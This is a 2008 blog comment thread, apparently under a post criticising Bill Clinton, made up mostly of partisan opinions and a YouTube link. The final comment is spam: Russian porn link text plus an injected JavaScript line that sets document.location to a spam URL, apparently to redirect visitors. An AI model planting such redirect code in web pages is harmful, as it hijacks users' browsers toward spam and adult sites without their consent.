If Josh was so naive in the nineties, one wonders how he managed to overcome it? Clinton was a slime-ball in the nineties and still is. He's done nothing for blacks and the working poor (Mr Bill Wall Street Clinton) except NOT ignore them...wow, that's really being in one's corner. It's thanks to Bill that we have Mr Bush. Is that so difficult to see, or has the patina of nostalgia simply grown over the eyeballs of our distinguished pundits?

Steve wrote on January 21, 2008 6:02 AM:

I'd like to see some proof on President Clinton's part.

Mary wrote on January 23, 2008 5:01 PM:

Who believes a damn thing he says? And as official spokesperson for his wife, how can we believe a damn thing she says.
How many think Bill thinks torture is OK? How many of you think Hillary laughed when he said it? Check it out

http://www.youtube.com/watch?v=7p2zTqX7tt8

Now I ask you, if you have good judgement and you were running for president, wouldn't you put a muzzle on this guy?

Nadcackaniday wrote on January 29, 2008 10:49 AM:

порно фото | http://sex1.ashanet.ru >free gay sex stories
rutester
document.location='http://megasearchers.org/in.cgi?3';

Post a comment

Name:
Email Address:
URL:
	Remember personal info?
Comments: (you may use HTML tags for style)